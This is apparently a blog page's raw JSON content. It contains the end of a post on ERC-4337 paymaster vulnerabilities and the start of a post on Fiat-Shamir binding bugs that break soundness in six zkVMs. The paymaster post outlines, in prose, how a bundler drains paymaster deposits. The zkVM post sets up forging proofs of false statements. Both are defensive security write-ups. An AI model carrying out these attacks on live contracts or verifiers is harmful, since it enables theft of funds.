validation the ",{"type":23,"tag":38,"props":106054,"children":106056},{"className":106055},[],[106057],{"type":29,"value":106058},"requiredPrefund",{"type":29,"value":106060}," was taken from the paymaster's ",{"type":23,"tag":55,"props":106062,"children":106065},{"href":106063,"rel":106064},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[59],[106066],{"type":29,"value":60444},{"type":29,"value":322},{"type":23,"tag":32,"props":106069,"children":106070},{},[106071,106073,106078],{"type":29,"value":106072},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":23,"tag":38,"props":106074,"children":106076},{"className":106075},[],[106077],{"type":29,"value":102924},{"type":29,"value":106079}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":23,"tag":116,"props":106081,"children":106082},{},[106083,106101,106120,106131,106136],{"type":23,"tag":120,"props":106084,"children":106085},{},[106086,106088,106093,106095],{"type":29,"value":106087},"The bundler creates a ",{"type":23,"tag":38,"props":106089,"children":106091},{"className":106090},[],[106092],{"type":29,"value":100667},{"type":29,"value":106094}," with an intentionally high ",{"type":23,"tag":38,"props":106096,"children":106098},{"className":106097},[],[106099],{"type":29,"value":106100},"gasPrice",{"type":23,"tag":120,"props":106102,"children":106103},{},[106104,106106,106111,106113,106118],{"type":29,"value":106105},"The bundler ensures the ",{"type":23,"tag":38,"props":106107,"children":106109},{"className":106108},[],[106110],{"type":29,"value":102924},{"type":29,"value":106112}," call will fail by revoking the paymaster's token allowance before ",{"type":23,"tag":38,"props":106114,"children":106116},{"className":106115},[],[106117],{"type":29,"value":102924},{"type":29,"value":106119}," executes",{"type":23,"tag":120,"props":106121,"children":106122},{},[106123,106124,106129],{"type":29,"value":61836},{"type":23,"tag":38,"props":106125,"children":106127},{"className":106126},[],[106128],{"type":29,"value":102924},{"type":29,"value":106130}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":23,"tag":120,"props":106132,"children":106133},{},[106134],{"type":29,"value":106135},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":23,"tag":120,"props":106137,"children":106138},{},[106139],{"type":29,"value":106140},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":23,"tag":32,"props":106142,"children":106143},{},[106144,106146,106151,106153,106158],{"type":29,"value":106145},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":23,"tag":38,"props":106147,"children":106149},{"className":106148},[],[106150],{"type":29,"value":100696},{"type":29,"value":106152}," designed to fail during ",{"type":23,"tag":38,"props":106154,"children":106156},{"className":106155},[],[106157],{"type":29,"value":102924},{"type":29,"value":106159}," while maximizing the gas costs they can charge to the paymaster.",{"type":23,"tag":32,"props":106161,"children":106162},{},[106163,106165,106170,106172,106177,106179,106185,106187,106192],{"type":29,"value":106164},"Some paymasters try to protect against this by simulating the ",{"type":23,"tag":38,"props":106166,"children":106168},{"className":106167},[],[106169],{"type":29,"value":100667},{"type":29,"value":106171}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":23,"tag":38,"props":106173,"children":106175},{"className":106174},[],[106176],{"type":29,"value":100667},{"type":29,"value":106178}," is submitted via ",{"type":23,"tag":38,"props":106180,"children":106182},{"className":106181},[],[106183],{"type":29,"value":106184},"handleOps",{"type":29,"value":106186},". This means the ",{"type":23,"tag":38,"props":106188,"children":106190},{"className":106189},[],[106191],{"type":29,"value":102924},{"type":29,"value":106193}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":23,"tag":32,"props":106195,"children":106196},{},[106197],{"type":29,"value":106198},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":23,"tag":32,"props":106200,"children":106201},{},[106202],{"type":29,"value":106203},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":23,"tag":32,"props":106205,"children":106206},{},[106207],{"type":29,"value":106208},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":23,"tag":33843,"props":106210,"children":106211},{"id":27618},[106212],{"type":29,"value":17618},{"type":23,"tag":32,"props":106214,"children":106215},{},[106216],{"type":29,"value":106217},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":23,"tag":116,"props":106219,"children":106220},{},[106221,106226,106231,106236,106241],{"type":23,"tag":120,"props":106222,"children":106223},{},[106224],{"type":29,"value":106225},"Always collect full payment during validation, not after execution",{"type":23,"tag":120,"props":106227,"children":106228},{},[106229],{"type":29,"value":106230},"Be conservative with gas estimations and include safety margins",{"type":23,"tag":120,"props":106232,"children":106233},{},[106234],{"type":29,"value":106235},"Carefully validate all user inputs and token transfers",{"type":23,"tag":120,"props":106237,"children":106238},{},[106239],{"type":29,"value":106240},"Test extensively, including simulation of malicious behavior",{"type":23,"tag":120,"props":106242,"children":106243},{},[106244,106246,106251],{"type":29,"value":106245},"Always review changes in new ",{"type":23,"tag":38,"props":106247,"children":106249},{"className":106248},[],[106250],{"type":29,"value":100748},{"type":29,"value":106252}," versions, as they may impact your paymaster's design and security assumptions",{"type":23,"tag":32,"props":106254,"children":106255},{},[106256,106258,106263,106265,106270,106272,106277],{"type":29,"value":106257},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":23,"tag":38,"props":106259,"children":106261},{"className":106260},[],[106262],{"type":29,"value":100748},{"type":29,"value":106264}," contract's behavior could potentially break existing ",{"type":23,"tag":38,"props":106266,"children":106268},{"className":106267},[],[106269],{"type":29,"value":100820},{"type":29,"value":106271}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":23,"tag":38,"props":106273,"children":106275},{"className":106274},[],[106276],{"type":29,"value":100748},{"type":29,"value":106278}," versions.",{"type":23,"tag":32,"props":106280,"children":106281},{},[106282],{"type":29,"value":106283},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":23,"tag":32,"props":106285,"children":106286},{},[106287],{"type":29,"value":106288},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":23,"tag":1508,"props":106290,"children":106291},{},[106292],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":106294},[106295,106296,106297,106304,106309,106310],{"id":100582,"depth":180,"text":100585},{"id":100598,"depth":180,"text":100601},{"id":100637,"depth":180,"text":100640,"children":106298},[106299,106300,106301,106302,106303],{"id":100660,"depth":205,"text":100667},{"id":100701,"depth":205,"text":100704},{"id":100727,"depth":205,"text":100730},{"id":13399,"depth":205,"text":100748},{"id":100820,"depth":205,"text":100831},{"id":100883,"depth":180,"text":106305,"children":106306},"Understanding the EntryPoint's Flow",[106307,106308],{"id":100939,"depth":205,"text":100942},{"id":101124,"depth":205,"text":101127},{"id":101367,"depth":180,"text":101373},{"id":102967,"depth":180,"text":102973,"children":106311},[106312,106313],{"id":103027,"depth":205,"text":103030},{"id":103087,"depth":205,"text":103090},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":106318,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":106319,"description":106320,"date":106321,"author":106322,"image":106325,"isFeatured":15,"onBlogPage":15,"tags":106327,"body":106329,"_type":1522,"_id":122134,"_source":1524,"_file":122135,"_stem":122136,"_extension":1527},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[106323,106324],"himanshu","valter",{"src":106326,"width":95753,"height":13},"/posts/zkvms-unfaithful-claims/title.png",[106328],"zkVM",{"type":20,"children":106330,"toc":122098},[106331,106336,106378,106391,106394,106400,106405,106533,106536,106542,106548,106553,106585,106733,106738,106861,106872,106883,106906,106917,106922,106955,106963,106968,106971,106977,106982,106988,106993,106998,107006,107024,107165,107170,107176,107269,108003,108071,108082,108090,108564,108570,109009,109349,109502,109507,110395,110551,110557,110649,110654,111239,111689,111765,111771,111776,111845,111855,111871,111881,111942,112361,112393,112403,112578,112583,112593,113193,113381,113399,113402,113408,113413,113421,113453,113815,113820,113905,113908,113914,113922,113927,113930,113936,113941,113949,113957,113965,113973,114006,114014,114022,114113,114364,114691,114699,114729,114899,115225,115230,115235,115252,115255,115260,115265,115277,115289,115880,115892,115904,115911,115919,115931,115939,115954,115959,116239,116258,116353,116372,116388,116391,116397,116402,116407,116414,116422,116429,116437,116450,116468,116928,117030,117035,117040,117056,117059,117065,117070,117082,117093,117098,117488,117495,117503,117528,117548,117804,117815,117834,118218,118564,118794,118953,119113,119681,119686,119712,119715,119721,119726,119733,119741,119754,119826,119837,119845,119855,119863,119874,120148,120237,120266,120269,120274,120408,120420,120427,120432,120585,120611,120618,120626,120631,120697,120702,121092,121179,121195,121198,121204,121209,121215,121315,121374,121379,121385,121390,121398,121403,121409,121414,121419,121425,121430,121433,121439,121445,121450,121455,121460,121465,121470,121473,121479,121642,121647,121650,121655,121666,121983,121988,122012,122017,122035,122040,122043,122049,122054,122059,122069,122074,122084,122094],{"type":23,"tag":32,"props":106332,"children":106333},{},[106334],{"type":29,"value":106335},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":23,"tag":32,"props":106337,"children":106338},{},[106339,106341,106346,106347,106352,106353,106358,106359,106364,106365,106370,106371,106376],{"type":29,"value":106340},"We found six systems where this faithfulness breaks. Across ",{"type":23,"tag":3998,"props":106342,"children":106343},{},[106344],{"type":29,"value":106345},"Jolt",{"type":29,"value":480},{"type":23,"tag":3998,"props":106348,"children":106349},{},[106350],{"type":29,"value":106351},"Nexus",{"type":29,"value":480},{"type":23,"tag":3998,"props":106354,"children":106355},{},[106356],{"type":29,"value":106357},"Cairo-M",{"type":29,"value":480},{"type":23,"tag":3998,"props":106360,"children":106361},{},[106362],{"type":29,"value":106363},"Ceno",{"type":29,"value":480},{"type":23,"tag":3998,"props":106366,"children":106367},{},[106368],{"type":29,"value":106369},"Expander",{"type":29,"value":5161},{"type":23,"tag":3998,"props":106372,"children":106373},{},[106374],{"type":29,"value":106375},"Binius64",{"type":29,"value":106377},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":23,"tag":32,"props":106379,"children":106380},{},[106381,106383,106389],{"type":29,"value":106382},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":23,"tag":55,"props":106384,"children":106386},{"href":106385},"#challenges",[106387],{"type":29,"value":106388},"Challenges",{"type":29,"value":106390}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":23,"tag":17463,"props":106392,"children":106393},{},[],{"type":23,"tag":24,"props":106395,"children":106397},{"id":106396},"jargon-cheat-sheet",[106398],{"type":29,"value":106399},"Jargon Cheat Sheet",{"type":23,"tag":32,"props":106401,"children":106402},{},[106403],{"type":29,"value":106404},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":23,"tag":15362,"props":106406,"children":106407},{},[106408,106418,106428,106438,106448,106458,106468,106478,106488,106498,106508,106518],{"type":23,"tag":120,"props":106409,"children":106410},{},[106411,106416],{"type":23,"tag":3998,"props":106412,"children":106413},{},[106414],{"type":29,"value":106415},"Fiat-Shamir",{"type":29,"value":106417},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":23,"tag":120,"props":106419,"children":106420},{},[106421,106426],{"type":23,"tag":3998,"props":106422,"children":106423},{},[106424],{"type":29,"value":106425},"Transcript",{"type":29,"value":106427},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":23,"tag":120,"props":106429,"children":106430},{},[106431,106436],{"type":23,"tag":3998,"props":106432,"children":106433},{},[106434],{"type":29,"value":106435},"Polynomial Commitment",{"type":29,"value":106437},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":23,"tag":120,"props":106439,"children":106440},{},[106441,106446],{"type":23,"tag":3998,"props":106442,"children":106443},{},[106444],{"type":29,"value":106445},"Sumcheck",{"type":29,"value":106447},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":23,"tag":120,"props":106449,"children":106450},{},[106451,106456],{"type":23,"tag":3998,"props":106452,"children":106453},{},[106454],{"type":29,"value":106455},"MLE (Multilinear Extension)",{"type":29,"value":106457},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":23,"tag":120,"props":106459,"children":106460},{},[106461,106466],{"type":23,"tag":3998,"props":106462,"children":106463},{},[106464],{"type":29,"value":106465},"Lookup / LogUp",{"type":29,"value":106467},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":23,"tag":120,"props":106469,"children":106470},{},[106471,106476],{"type":23,"tag":3998,"props":106472,"children":106473},{},[106474],{"type":29,"value":106475},"AIR",{"type":29,"value":106477},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":23,"tag":120,"props":106479,"children":106480},{},[106481,106486],{"type":23,"tag":3998,"props":106482,"children":106483},{},[106484],{"type":29,"value":106485},"STARK",{"type":29,"value":106487},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":23,"tag":120,"props":106489,"children":106490},{},[106491,106496],{"type":23,"tag":3998,"props":106492,"children":106493},{},[106494],{"type":29,"value":106495},"FRI",{"type":29,"value":106497},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":23,"tag":120,"props":106499,"children":106500},{},[106501,106506],{"type":23,"tag":3998,"props":106502,"children":106503},{},[106504],{"type":29,"value":106505},"OODS",{"type":29,"value":106507},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":23,"tag":120,"props":106509,"children":106510},{},[106511,106516],{"type":23,"tag":3998,"props":106512,"children":106513},{},[106514],{"type":29,"value":106515},"GKR",{"type":29,"value":106517},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":23,"tag":120,"props":106519,"children":106520},{},[106521,106526,106528],{"type":23,"tag":3998,"props":106522,"children":106523},{},[106524],{"type":29,"value":106525},"claimed_sum / opening_claim",{"type":29,"value":106527},": Prover-supplied values that feed into verification equations. ",{"type":23,"tag":3998,"props":106529,"children":106530},{},[106531],{"type":29,"value":106532},"These are the usual suspects for binding bugs.",{"type":23,"tag":17463,"props":106534,"children":106535},{},[],{"type":23,"tag":24,"props":106537,"children":106539},{"id":106538},"what-are-we-even-breaking",[106540],{"type":29,"value":106541},"What Are We Even Breaking?",{"type":23,"tag":8287,"props":106543,"children":106545},{"id":106544},"what-is-a-zkvm",[106546],{"type":29,"value":106547},"What is a zkVM?",{"type":23,"tag":32,"props":106549,"children":106550},{},[106551],{"type":29,"value":106552},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":23,"tag":32,"props":106554,"children":106555},{},[106556,106558,106583],{"type":29,"value":106557},"Formally, the verifier is convinced that there exists a valid trace ",{"type":23,"tag":38,"props":106559,"children":106561},{"className":106560},[2658,2659],[106562],{"type":23,"tag":141,"props":106563,"children":106565},{"className":106564},[2664],[106566],{"type":23,"tag":141,"props":106567,"children":106569},{"className":106568,"ariaHidden":2670},[2669],[106570],{"type":23,"tag":141,"props":106571,"children":106573},{"className":106572},[2675],[106574,106578],{"type":23,"tag":141,"props":106575,"children":106577},{"className":106576,"style":20255},[2680],[],{"type":23,"tag":141,"props":106579,"children":106581},{"className":106580,"style":20261},[2686,20260],[106582],{"type":29,"value":4661},{"type":29,"value":106584}," such that:",{"type":23,"tag":32,"props":106586,"children":106587},{},[106588],{"type":23,"tag":38,"props":106589,"children":106591},{"className":106590},[2658,2659],[106592],{"type":23,"tag":141,"props":106593,"children":106595},{"className":106594},[2664],[106596],{"type":23,"tag":141,"props":106597,"children":106599},{"className":106598,"ariaHidden":2670},[2669],[106600,106644,106719],{"type":23,"tag":141,"props":106601,"children":106603},{"className":106602},[2675],[106604,106608,106614,106618,106623,106627,106631,106636,106640],{"type":23,"tag":141,"props":106605,"children":106607},{"className":106606,"style":91447},[2680],[],{"type":23,"tag":141,"props":106609,"children":106611},{"className":106610},[2686],[106612],{"type":29,"value":106613},"∃",{"type":23,"tag":141,"props":106615,"children":106617},{"className":106616,"style":2863},[2766],[],{"type":23,"tag":141,"props":106619,"children":106621},{"className":106620,"style":20261},[2686,20260],[106622],{"type":29,"value":4661},{"type":23,"tag":141,"props":106624,"children":106626},{"className":106625,"style":2863},[2766],[],{"type":23,"tag":141,"props":106628,"children":106630},{"className":106629,"style":2863},[2766],[],{"type":23,"tag":141,"props":106632,"children":106634},{"className":106633},[2868],[106635],{"type":29,"value":114},{"type":23,"tag":141,"props":106637,"children":106639},{"className":106638,"style":2863},[2766],[],{"type":23,"tag":141,"props":106641,"children":106643},{"className":106642,"style":2863},[2766],[],{"type":23,"tag":141,"props":106645,"children":106647},{"className":106646},[2675],[106648,106652,106663,106668,106673,106678,106682,106687,106692,106696,106701,106706,106710,106715],{"type":23,"tag":141,"props":106649,"children":106651},{"className":106650,"style":2787},[2680],[],{"type":23,"tag":141,"props":106653,"children":106655},{"className":106654},[2686],[106656],{"type":23,"tag":141,"props":106657,"children":106660},{"className":106658},[2686,106659],"mathsf",[106661],{"type":29,"value":106662},"VM",{"type":23,"tag":141,"props":106664,"children":106666},{"className":106665},[20389],[106667],{"type":29,"value":192},{"type":23,"tag":141,"props":106669,"children":106671},{"className":106670,"style":20261},[2686,20260],[106672],{"type":29,"value":20264},{"type":23,"tag":141,"props":106674,"children":106676},{"className":106675},[2798],[106677],{"type":29,"value":512},{"type":23,"tag":141,"props":106679,"children":106681},{"className":106680,"style":2804},[2766],[],{"type":23,"tag":141,"props":106683,"children":106685},{"className":106684,"style":93552},[2686,20260],[106686],{"type":29,"value":4807},{"type":23,"tag":141,"props":106688,"children":106690},{"className":106689},[2798],[106691],{"type":29,"value":512},{"type":23,"tag":141,"props":106693,"children":106695},{"className":106694,"style":2804},[2766],[],{"type":23,"tag":141,"props":106697,"children":106699},{"className":106698,"style":20261},[2686,20260],[106700],{"type":29,"value":4661},{"type":23,"tag":141,"props":106702,"children":106704},{"className":106703},[20411],[106705],{"type":29,"value":1788},{"type":23,"tag":141,"props":106707,"children":106709},{"className":106708,"style":2863},[2766],[],{"type":23,"tag":141,"props":106711,"children":106713},{"className":106712},[2868],[106714],{"type":29,"value":21006},{"type":23,"tag":141,"props":106716,"children":106718},{"className":106717,"style":2863},[2766],[],{"type":23,"tag":141,"props":106720,"children":106722},{"className":106721},[2675],[106723,106727],{"type":23,"tag":141,"props":106724,"children":106726},{"className":106725,"style":20255},[2680],[],{"type":23,"tag":141,"props":106728,"children":106731},{"className":106729,"style":106730},[2686,20260],"margin-right:0.22222em;",[106732],{"type":29,"value":4837},{"type":23,"tag":32,"props":106734,"children":106735},{},[106736],{"type":29,"value":106737},"where:",{"type":23,"tag":15362,"props":106739,"children":106740},{},[106741,106771,106801,106831],{"type":23,"tag":120,"props":106742,"children":106743},{},[106744,106769],{"type":23,"tag":38,"props":106745,"children":106747},{"className":106746},[2658,2659],[106748],{"type":23,"tag":141,"props":106749,"children":106751},{"className":106750},[2664],[106752],{"type":23,"tag":141,"props":106753,"children":106755},{"className":106754,"ariaHidden":2670},[2669],[106756],{"type":23,"tag":141,"props":106757,"children":106759},{"className":106758},[2675],[106760,106764],{"type":23,"tag":141,"props":106761,"children":106763},{"className":106762,"style":20255},[2680],[],{"type":23,"tag":141,"props":106765,"children":106767},{"className":106766,"style":20261},[2686,20260],[106768],{"type":29,"value":20264},{"type":29,"value":106770}," = program/circuit description (public)",{"type":23,"tag":120,"props":106772,"children":106773},{},[106774,106799],{"type":23,"tag":38,"props":106775,"children":106777},{"className":106776},[2658,2659],[106778],{"type":23,"tag":141,"props":106779,"children":106781},{"className":106780},[2664],[106782],{"type":23,"tag":141,"props":106783,"children":106785},{"className":106784,"ariaHidden":2670},[2669],[106786],{"type":23,"tag":141,"props":106787,"children":106789},{"className":106788},[2675],[106790,106794],{"type":23,"tag":141,"props":106791,"children":106793},{"className":106792,"style":20255},[2680],[],{"type":23,"tag":141,"props":106795,"children":106797},{"className":106796,"style":93552},[2686,20260],[106798],{"type":29,"value":4807},{"type":29,"value":106800}," = public input",{"type":23,"tag":120,"props":106802,"children":106803},{},[106804,106829],{"type":23,"tag":38,"props":106805,"children":106807},{"className":106806},[2658,2659],[106808],{"type":23,"tag":141,"props":106809,"children":106811},{"className":106810},[2664],[106812],{"type":23,"tag":141,"props":106813,"children":106815},{"className":106814,"ariaHidden":2670},[2669],[106816],{"type":23,"tag":141,"props":106817,"children":106819},{"className":106818},[2675],[106820,106824],{"type":23,"tag":141,"props":106821,"children":106823},{"className":106822,"style":20255},[2680],[],{"type":23,"tag":141,"props":106825,"children":106827},{"className":106826,"style":106730},[2686,20260],[106828],{"type":29,"value":4837},{"type":29,"value":106830}," = claimed public output",{"type":23,"tag":120,"props":106832,"children":106833},{},[106834,106859],{"type":23,"tag":38,"props":106835,"children":106837},{"className":106836},[2658,2659],[106838],{"type":23,"tag":141,"props":106839,"children":106841},{"className":106840},[2664],[106842],{"type":23,"tag":141,"props":106843,"children":106845},{"className":106844,"ariaHidden":2670},[2669],[106846],{"type":23,"tag":141,"props":106847,"children":106849},{"className":106848},[2675],[106850,106854],{"type":23,"tag":141,"props":106851,"children":106853},{"className":106852,"style":20255},[2680],[],{"type":23,"tag":141,"props":106855,"children":106857},{"className":106856,"style":20261},[2686,20260],[106858],{"type":29,"value":4661},{"type":29,"value":106860}," = private witness/trace (registers, memory history, intermediate values)",{"type":23,"tag":32,"props":106862,"children":106863},{},[106864,106866,106870],{"type":29,"value":106865},"The verifier does ",{"type":23,"tag":3998,"props":106867,"children":106868},{},[106869],{"type":29,"value":17163},{"type":29,"value":106871}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":23,"tag":32,"props":106873,"children":106874},{},[106875,106877,106882],{"type":29,"value":106876},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":23,"tag":3998,"props":106878,"children":106879},{},[106880],{"type":29,"value":106881},"soundness",{"type":29,"value":114},{"type":23,"tag":15362,"props":106884,"children":106885},{},[106886,106896],{"type":23,"tag":120,"props":106887,"children":106888},{},[106889,106894],{"type":23,"tag":3998,"props":106890,"children":106891},{},[106892],{"type":29,"value":106893},"Completeness",{"type":29,"value":106895},": honest execution verifies.",{"type":23,"tag":120,"props":106897,"children":106898},{},[106899,106904],{"type":23,"tag":3998,"props":106900,"children":106901},{},[106902],{"type":29,"value":106903},"Soundness",{"type":29,"value":106905},": false execution should not verify.",{"type":23,"tag":32,"props":106907,"children":106908},{},[106909,106911,106915],{"type":29,"value":106910},"We are breaking ",{"type":23,"tag":3998,"props":106912,"children":106913},{},[106914],{"type":29,"value":106881},{"type":29,"value":106916}," in all six systems.",{"type":23,"tag":32,"props":106918,"children":106919},{},[106920],{"type":29,"value":106921},"In all six codebases, verification follows this abstract flow:",{"type":23,"tag":116,"props":106923,"children":106924},{},[106925,106930,106935,106940,106945,106950],{"type":23,"tag":120,"props":106926,"children":106927},{},[106928],{"type":29,"value":106929},"Fix public statement data.",{"type":23,"tag":120,"props":106931,"children":106932},{},[106933],{"type":29,"value":106934},"Parse proof payload (commitments, reduction messages, openings).",{"type":23,"tag":120,"props":106936,"children":106937},{},[106938],{"type":29,"value":106939},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":23,"tag":120,"props":106941,"children":106942},{},[106943],{"type":29,"value":106944},"Check constraint equations at sampled points.",{"type":23,"tag":120,"props":106946,"children":106947},{},[106948],{"type":29,"value":106949},"Check PCS/opening consistency.",{"type":23,"tag":120,"props":106951,"children":106952},{},[106953],{"type":29,"value":106954},"Accept only if all checks are jointly consistent.",{"type":23,"tag":32,"props":106956,"children":106957},{},[106958],{"type":23,"tag":2591,"props":106959,"children":106962},{"alt":106960,"src":106961},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":23,"tag":32,"props":106964,"children":106965},{},[106966],{"type":29,"value":106967},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":23,"tag":17463,"props":106969,"children":106970},{},[],{"type":23,"tag":24,"props":106972,"children":106974},{"id":106973},"the-building-blocks",[106975],{"type":29,"value":106976},"The Building Blocks",{"type":23,"tag":32,"props":106978,"children":106979},{},[106980],{"type":29,"value":106981},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":23,"tag":8287,"props":106983,"children":106985},{"id":106984},"the-fiat-shamir-transform",[106986],{"type":29,"value":106987},"The Fiat-Shamir Transform",{"type":23,"tag":32,"props":106989,"children":106990},{},[106991],{"type":29,"value":106992},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":23,"tag":32,"props":106994,"children":106995},{},[106996],{"type":29,"value":106997},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":23,"tag":32,"props":106999,"children":107000},{},[107001],{"type":23,"tag":2591,"props":107002,"children":107005},{"alt":107003,"src":107004},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":23,"tag":32,"props":107007,"children":107008},{},[107009,107011,107015,107017,107022],{"type":29,"value":107010},"The hash (transcript) ",{"type":23,"tag":3998,"props":107012,"children":107013},{},[107014],{"type":29,"value":5193},{"type":29,"value":107016}," include everything that affects verification ",{"type":23,"tag":3998,"props":107018,"children":107019},{},[107020],{"type":29,"value":107021},"BEFORE",{"type":29,"value":107023}," the challenges derived from it are used.",{"type":23,"tag":32,"props":107025,"children":107026},{},[107027,107029,107055,107057,107082,107084,107109,107111,107136,107138,107163],{"type":29,"value":107028},"If some value ",{"type":23,"tag":38,"props":107030,"children":107032},{"className":107031},[2658,2659],[107033],{"type":23,"tag":141,"props":107034,"children":107036},{"className":107035},[2664],[107037],{"type":23,"tag":141,"props":107038,"children":107040},{"className":107039,"ariaHidden":2670},[2669],[107041],{"type":23,"tag":141,"props":107042,"children":107044},{"className":107043},[2675],[107045,107049],{"type":23,"tag":141,"props":107046,"children":107048},{"className":107047,"style":20255},[2680],[],{"type":23,"tag":141,"props":107050,"children":107052},{"className":107051,"style":106730},[2686,20260],[107053],{"type":29,"value":107054},"V",{"type":29,"value":107056}," affects a verification equation, but ",{"type":23,"tag":38,"props":107058,"children":107060},{"className":107059},[2658,2659],[107061],{"type":23,"tag":141,"props":107062,"children":107064},{"className":107063},[2664],[107065],{"type":23,"tag":141,"props":107066,"children":107068},{"className":107067,"ariaHidden":2670},[2669],[107069],{"type":23,"tag":141,"props":107070,"children":107072},{"className":107071},[2675],[107073,107077],{"type":23,"tag":141,"props":107074,"children":107076},{"className":107075,"style":20255},[2680],[],{"type":23,"tag":141,"props":107078,"children":107080},{"className":107079,"style":106730},[2686,20260],[107081],{"type":29,"value":107054},{"type":29,"value":107083}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":23,"tag":38,"props":107085,"children":107087},{"className":107086},[2658,2659],[107088],{"type":23,"tag":141,"props":107089,"children":107091},{"className":107090},[2664],[107092],{"type":23,"tag":141,"props":107093,"children":107095},{"className":107094,"ariaHidden":2670},[2669],[107096],{"type":23,"tag":141,"props":107097,"children":107099},{"className":107098},[2675],[107100,107104],{"type":23,"tag":141,"props":107101,"children":107103},{"className":107102,"style":20255},[2680],[],{"type":23,"tag":141,"props":107105,"children":107107},{"className":107106,"style":106730},[2686,20260],[107108],{"type":29,"value":107054},{"type":29,"value":107110},". This means that the prover can \"see\" (compute in advance) the challenge before choosing 